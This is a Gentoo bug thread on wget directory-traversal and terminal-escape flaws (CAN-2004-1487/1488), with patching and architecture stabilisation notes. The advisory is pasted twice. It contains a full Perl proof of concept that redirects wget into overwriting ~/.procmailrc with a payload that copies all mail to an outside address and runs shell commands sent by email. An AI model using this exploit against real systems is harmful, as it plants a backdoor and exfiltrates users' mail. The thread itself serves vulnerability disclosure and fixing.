Home | Docs | Forums | Lists | Bugs | Planet | Store | GMN | Get Gentoo!
Not eligible to see or edit group visibility for this bug.
View Bug Activity | Format For Printing | XML | Clone This Bug
------------------------------------------------------------------------ Summary ------------------------------------------------------------------------ Product: wget Versions: 1.8.x Versions: 1.9.x (to lesser extent) Versions: Versions < 1.8 are probably vulnerable too Platforms: Linux, probably POSIX, others? Tested: 1.8.1-6 (Debian Woody) 1.9.1-4 (Debian Sarge) Problems: Overwriting/appending/creating files and directories Retrieving file existence, size, permissions info Etc. Remote?: Both remote and local Author: Jan Minar <jjminar foo fastmail bar fm> ------------------------------------------------------------------------ Background ------------------------------------------------------------------------ ``GNU wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows [sic!] support, etc.'' -- http://www.gnu.org/software/wget/wget.html wget(1) is the de facto standard HTTP retrieval program on GNU/Linux, both for interactive use and for use in scripts and programs. 76 packages in the Debian Sarge currently depend on the wget package. ------------------------------------------------------------------------ Vulnerabilities ------------------------------------------------------------------------ (0) Wget authors are/were incompetent. Everything else is a corollary. In the current maintainer's own words: ``[T]he code is buggy, poorly commented, very hard to understand, extremely resistant to changes and looks like a bunch of patches put together in a careless way. [I]t badly needs a lot of auditing and rewriting.'' -- Mauro Tortonesi in a private mail exchange with me Note: Wget has numerous commandline options which are relevant to these vulnerabilities. (1) Wget doesn't know which files it is permitted to write to Wget erroneously thinks that the current directory is a fair game, and will happily write in any file in and below it. Malicious HTTP response or malicious HTML file can redirect wget to a file that is vital to the system, and wget will create/append/overwrite it. $ cd /home/user $ wget http://localhost/wgettrap.bashrc -> .bashrc (2) Wget doesn't sanitize the redirection data properly Wget apparently has at least two methods of ``sanitizing'' the potentially malicious data it receives from the HTTP stream, therefore a malicious redirects can pass the check. We haven't find a way to trick wget into writing above the parent directory, which doesn't mean it's not possible. # cd /root [1] # wget -x http://localhost/wgettrap.redirect-1.9 -> ../lib/libc-2.2.5.so [2] $ cd /foo/bar $ wget -r http://localhost/wgettrap.redirect-1.8 $ -> ../../../../../../../../../home/jan/.bashrc [1] -> ../../../../../../../../../var/www/jan/.htaccess [1] If inetd is not running on the system, the user name can be social-engineered, or guessed from preceding traffic. [2] '..' must resolve to an IP address of the malicious server, or at least to an address, provided that we will be able to stuff data in the HTTP stream afterwards. The POC doesn't exploit this. (3) Wget prints control characters to the terminal verbatim Malicious HTTP response can overwrite parts of the terminal so that the user will not notice anything wrong, or will believe the error was not fatal. See the [1]Debian bug #261755 for details. [1] http://bugs.debian.org/261755 (4) Just about any stupid hack will work with wget. %00 bytes (see the POC) and other %-escaped control characters handling, symlink attacks: $ cd /tmp $ ln -s index.html /path/to/foo $ wget -x http://localhost/ -> /path/to/foo ------------------------------------------------------------------------ Reproduction ------------------------------------------------------------------------ A proof of concept is attached. ------------------------------------------------------------------------ Patched versions ------------------------------------------------------------------------ Not available. ------------------------------------------------------------------------ Workarounds ------------------------------------------------------------------------ (1) Don't use programs/scripts which use wget internally. (2) Use alternative retrieval programs, such as pavuk, axel, or ncftpget. (3) Use the -o and -O options. (4) Create two levels of new directories, cd to the directories, only then run wget (won't protect you when using version <= 1.8 with '-x' or '-r'): $ mkdir sand/box $ cd sand/box $ wget http://localhost/ ------------------------------------------------------------------------ Bug history ------------------------------------------------------------------------ We discovered this bug few months earlier. We contacted the Debian package maintainer and the Debian Security Team on 2004-10-03. The wget maintainer had not been responding to emails at that time, so we didn't contact him. Few days ago, a new maintainer was appointed, who [1]disclosed this vulnerability. [1] http://wget-bugs.ferrara.linux.it/msg12 -- )^o-o^| jabber: rdancer@NJS.NetLab.Cz | .v K e-mail: jjminar FastMail FM ` - .' phone: +44(0)7981 738 696 \ __/Jan icq: 345 355 493 __|o|__Min
------------------------------------------------------------------------ Summary ------------------------------------------------------------------------ Product: wget Versions: 1.8.x Versions: 1.9.x (to lesser extent) Versions: Versions < 1.8 are probably vulnerable too Platforms: Linux, probably POSIX, others? Tested: 1.8.1-6 (Debian Woody) 1.9.1-4 (Debian Sarge) Problems: Overwriting/appending/creating files and directories Retrieving file existence, size, permissions info Etc. Remote?: Both remote and local Author: Jan Minar <jjminar foo fastmail bar fm> ------------------------------------------------------------------------ Background ------------------------------------------------------------------------ ``GNU wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows [sic!] support, etc.'' -- http://www.gnu.org/software/wget/wget.html wget(1) is the de facto standard HTTP retrieval program on GNU/Linux, both for interactive use and for use in scripts and programs. 76 packages in the Debian Sarge currently depend on the wget package. ------------------------------------------------------------------------ Vulnerabilities ------------------------------------------------------------------------ (0) Wget authors are/were incompetent. Everything else is a corollary. In the current maintainer's own words: ``[T]he code is buggy, poorly commented, very hard to understand, extremely resistant to changes and looks like a bunch of patches put together in a careless way. [I]t badly needs a lot of auditing and rewriting.'' -- Mauro Tortonesi in a private mail exchange with me Note: Wget has numerous commandline options which are relevant to these vulnerabilities. (1) Wget doesn't know which files it is permitted to write to Wget erroneously thinks that the current directory is a fair game, and will happily write in any file in and below it. Malicious HTTP response or malicious HTML file can redirect wget to a file that is vital to the system, and wget will create/append/overwrite it. $ cd /home/user $ wget http://localhost/wgettrap.bashrc -> .bashrc (2) Wget doesn't sanitize the redirection data properly Wget apparently has at least two methods of ``sanitizing'' the potentially malicious data it receives from the HTTP stream, therefore a malicious redirects can pass the check. We haven't find a way to trick wget into writing above the parent directory, which doesn't mean it's not possible. # cd /root [1] # wget -x http://localhost/wgettrap.redirect-1.9 -> ../lib/libc-2.2.5.so [2] $ cd /foo/bar $ wget -r http://localhost/wgettrap.redirect-1.8 $ -> ../../../../../../../../../home/jan/.bashrc [1] -> ../../../../../../../../../var/www/jan/.htaccess [1] If inetd is not running on the system, the user name can be social-engineered, or guessed from preceding traffic. [2] '..' must resolve to an IP address of the malicious server, or at least to an address, provided that we will be able to stuff data in the HTTP stream afterwards. The POC doesn't exploit this. (3) Wget prints control characters to the terminal verbatim Malicious HTTP response can overwrite parts of the terminal so that the user will not notice anything wrong, or will believe the error was not fatal. See the [1]Debian bug #261755 for details. [1] http://bugs.debian.org/261755 (4) Just about any stupid hack will work with wget. %00 bytes (see the POC) and other %-escaped control characters handling, symlink attacks: $ cd /tmp $ ln -s index.html /path/to/foo $ wget -x http://localhost/ -> /path/to/foo ------------------------------------------------------------------------ Reproduction ------------------------------------------------------------------------ A proof of concept is attached. ------------------------------------------------------------------------ Patched versions ------------------------------------------------------------------------ Not available. ------------------------------------------------------------------------ Workarounds ------------------------------------------------------------------------ (1) Don't use programs/scripts which use wget internally. (2) Use alternative retrieval programs, such as pavuk, axel, or ncftpget. (3) Use the -o and -O options. (4) Create two levels of new directories, cd to the directories, only then run wget (won't protect you when using version <= 1.8 with '-x' or '-r'): $ mkdir sand/box $ cd sand/box $ wget http://localhost/ ------------------------------------------------------------------------ Bug history ------------------------------------------------------------------------ We discovered this bug few months earlier. We contacted the Debian package maintainer and the Debian Security Team on 2004-10-03. The wget maintainer had not been responding to emails at that time, so we didn't contact him. Few days ago, a new maintainer was appointed, who [1]disclosed this vulnerability. [1] http://wget-bugs.ferrara.linux.it/msg12 -- )^o-o^| jabber: rdancer@NJS.NetLab.Cz | .v K e-mail: jjminar FastMail FM ` - .' phone: +44(0)7981 738 696 \ __/Jan icq: 345 355 493 __|o|__Minář irc: rdancer@IRC.FreeNode.Net #!/usr/bin/perl -W # wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability # # Copyright 2004 Jan MinĂĄĹ� (jjminar fastmail fm) # License: Public Domain # # When wget connects to us, we send it a HTTP redirect constructed so that wget # wget will connect the second time, it will be attempting to override # ~/.procm4ilrc (well, provided that the user running wget has username 'jan' # 8-)). use POSIX qw(strftime); # This is our scheme/host/port $server = "http://localhost:31340"; # Use this + DNS poisoning with wget 1.9 & CVS #$server = "http://.."; # Wanna know who got infected? #$log = "/dev/pts/1"; # The filename we will try to overwrite on the target system $filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored."; ############### Payload ######################################### $email = 'your@mailbox'; $password = 'Pmrpuf ner cevzvgvirf'; $payload = <<EOP; :0c | mail -s 'Wgettrap mail copy' $email :0 * ^X-Wgettrap-Command: shell * ^X-Wgettrap-Password: $password | /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email' EOP chomp $payload; ############### Payload ######################################### # A simple directory traversal, for greater effect $trick = "/.." . "%2f.." x 40; open LOG, ">$log" if $log; while(<STDIN>){ print LOG $_ if $log; if (/\Q$trick$filename\E/) { #if (/%2f/) { # We see the filename, so this is the second time # they're here. Time to feed the sploit. $second++; } elsif (/^Range: bytes=\(33\)-/) { # Appending goes like this: # (1) Tell'em what you're gonna tell'em # (2) Then tell'em just a half # (3) Close it # (4) Wait # (5) They're comin' back, with wget -c # (6) Tell'em the sploit # (7) Close again # (8) Wtf? They're comin' back with wget -c again # (9) Tell'em the rest... # (10) ... enjoying the backdoor at the same time print LOG "File if $1 bytes long\n" if $log; } elsif (/^\r?$/) { # The HTTP headers are over. Let's do it! $date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime); if (!$second) { # Print the payload print <<EOT; HTTP/1.1 301 Moved Permanently\r Date: $date\r Server: wgettrap 1.1\r Accept-Ranges: bytes\r Location: $server$trick$filename\r Content-Length: 43\r Connection: close\r Content-Type: text/html\r \r <html><head><title></title></head></html>\r EOT } else { # Print the redirection print <<EOT; HTTP/1.1 200 OK\r Date: $date\r Server: wgettrap 1.1\r Accept-Ranges: bytes\r Content-Length: 25\r Connection: close\r Content-Type: text/plain\r \r $payload EOT } exit 0; } }
post to wget mailing list can be found here: http://www.mail-archive.com/wget%40sunsite.dk/msg06898.html at least two debian bugs deal with this too, including patches: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=261755 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=271931 gregf/seemant: pls verify/advise/...
*** Bug 74026 has been marked as a duplicate of this bug. ***
There are several distinct issues affecting 1.9.* : The unfiltered control characters / escape sequences issue http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=261755 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=271931 Patch from http://bugs.debian.org/cgi-bin/bugreport.cgi/wget-filter-controls.patch.v3--multibyte-aware?bug=271931&msg=21&att=1 should be applied. The one-level directory traversal thing This needs heavy DNS poisoning (".." must resolve to the malicious server) so it's a little unlikely. No patch from upstream. The nullbyte thing Can be exploited to support other exploits, but not really an exploit by itself. No patch from upstream or other distributions. The tmpfile things Our bug 51365 was rejected because we considered that it was the calling application who should check for symlink (like if you use cp), and users should not download to world writeable directories.
*** Bug 74267 has been marked as a duplicate of this bug. ***
Debian Bug "wget: Arbitrary file overwriting/appending/creating and other vulnerabilities": http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=284875 http://wget-bugs.ferrara.linux.it/issue11
This patch conflicts with our default uClibc setups with it's use of wchar Does not apply clean to our 1.9.1 as -r3 or other. wget-1.9.1 # patch --dry -p0 < /var/cvsroot/gentoo-x86/net-misc/wget/files/wget-1.9.1-multibyte-filter.patch patching file src/log.c Hunk #1 FAILED at 70. Hunk #2 FAILED at 367. Hunk #3 FAILED at 412. 3 out of 3 hunks FAILED -- saving rejects to file src/log.c.rej usingsolar@simple wget $ diff -u wget-1.9.1-r2.ebuild wget-1.9.1-r3.ebuild --- wget-1.9.1-r2.ebuild 2005-01-07 15:01:13.000000000 -0500 +++ wget-1.9.1-r3.ebuild 2005-01-09 01:47:46.000000000 -0500 @@ -24,6 +24,7 @@ epatch ${FILESDIR}/${P}+ipvmisc.patch epatch ${FILESDIR}/${PN}-1.9-uclibc.patch epatch ${FILESDIR}/${P}-locale.patch + epatch ${FILESDIR}/${P}-multibyte-filter.patch } src_compile() { -- Maybe somebody else will have better luck.
Created an attachment (id=52449) [details] wget-CAN-2004-1487.patch Patch adapted from Sebastian Krahmer's one for SuSE. CAN-2004-1487 - overwrite files via ".." in path component CAN-2004-1488 - missing quote for control characters Let's consider CAN-2004-1488 somewhat harmless, and try to focus on the other one.
Patch applies and compiles cleanly. gregf/seemant/vapier/solar: care to bump ?
I'm on it
wget-1.9.1-r3.ebuild is in the tree now with wget-CAN-2004-1487.patch KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~ppc-macos ~s390 ~sh ~sparc ~x86"
stable on amd64.
stable on ppc64
Stable on ppc.
Stable ppc-macos.
Stable on SPARC.
I think something must be wrong with the new r3 revision of wget. After emerging it by #emerge -uD system then on next emerge I get this: merc ~ # emerge -uD --oneshot imagemagick Calculating dependencies ...done! >>> emerge (1 of 1) media-gfx/imagemagick-6.2.0.4 to / >>> Downloading http://pandemonium.tiscali.de/pub/gentoo/distfiles/ImageMagick-6.2.0-4.tar.bz2 --09:32:10-- http://pandemonium.tiscali.de/pub/gentoo/distfiles/ImageMagick-6.2.0-4.tar.bz2 => `/usr/portage/distfiles/ImageMagick-6.2.0-4.tar.bz2' Resolving pandemonium.tiscali.de... 195.52.219.14 Connecting to pandemonium.tiscali.de[195.52.219.14]:80... connected. HTTP request sent, awaiting response... 404 Not Found 09:32:10 ERROR 404: Not Found. >>> Downloading ftp://ftp.wh2.tu-dresden.de/pub/mirrors/gentoo/distfiles/ImageMagick-6.2.0-4.tar.bz2 --09:32:10-- ftp://ftp.wh2.tu-dresden.de/pub/mirrors/gentoo/distfiles/ImageMagick-6.2.0-4.tar.bz2 => `/usr/portage/distfiles/ImageMagick-6.2.0-4.tar.bz2' Resolving ftp.wh2.tu-dresden.de... 141.30.228.4 Connecting to ftp.wh2.tu-dresden.de[141.30.228.4]:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD /pub/mirrors/gentoo/distfiles ... done. ==> PASV ... done. ==> RETR ImageMagick-6.2.0-4.tar.bz2 ... No such file `ImageMagick-6.2.0-4.tar.bz2'. >>> Downloading http://gentoo.mirror.icd.hu/distfiles/ImageMagick-6.2.0-4.tar.bz2 --09:32:11-- http://gentoo.mirror.icd.hu/distfiles/ImageMagick-6.2.0-4.tar.bz2 => `/usr/portage/distfiles/ImageMagick-6.2.0-4.tar.bz2' Resolving gentoo.mirror.icd.hu... 195.56.77.10 Connecting to gentoo.mirror.icd.hu[195.56.77.10]:80... connected. HTTP request sent, awaiting response... 404 Not Found 09:32:11 ERROR 404: Not Found. >>> Downloading ftp://ftp.imagemagick.org/pub/ImageMagick/ImageMagick-6.2.0-4.tar.bz2 --09:32:11-- ftp://ftp.imagemagick.org/pub/ImageMagick/ImageMagick-6.2.0-4.tar.bz2 => `/usr/portage/distfiles/ImageMagick-6.2.0-4.tar.bz2' Resolving ftp.imagemagick.org... 216.92.21.77, 66.192.180.107 Connecting to ftp.imagemagick.org[216.92.21.77]:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD /pub/ImageMagick ... done. ==> PASV ... done. ==> RETR ImageMagick-6.2.0-4.tar.bz2 ... done. Length: 4,642,489 (unauthoritative) 100%[========================================================================================>] 4,642,489 166.01K/s ETA 00:00 09:32:44 (145.23 KB/s) - `/usr/portage/distfiles/ImageMagick-6.2.0-4.tar.bz2' saved [4642489] !!! Couldn't download ImageMagick-6.2.0-4.tar.bz2. Aborting. It just doesn't make sense it first say the file is saved and then it couldn't download it!
Worksforme. Maybe it's related to the Imagemagick upload that is very recent... Try to reproduce with other packages.
Alpha stable.
Revising severity... With 1.9 this needs heavy DNS poisoning (.. -> host) to work. Not sure we should issue a GLSA about it in these conditions.
x86 there
½ vote for NO glsa.
if it relies on DNS poisoning, then I agree on no GLSA. There are far more malicious things that you can do if you can successfully poison the DNS server.
I also vote no GLSA. Please re-open if you oppose.
Stable on mips. Also removing arm/hppa/ia64/s390 CC, it appears they were forgotten.
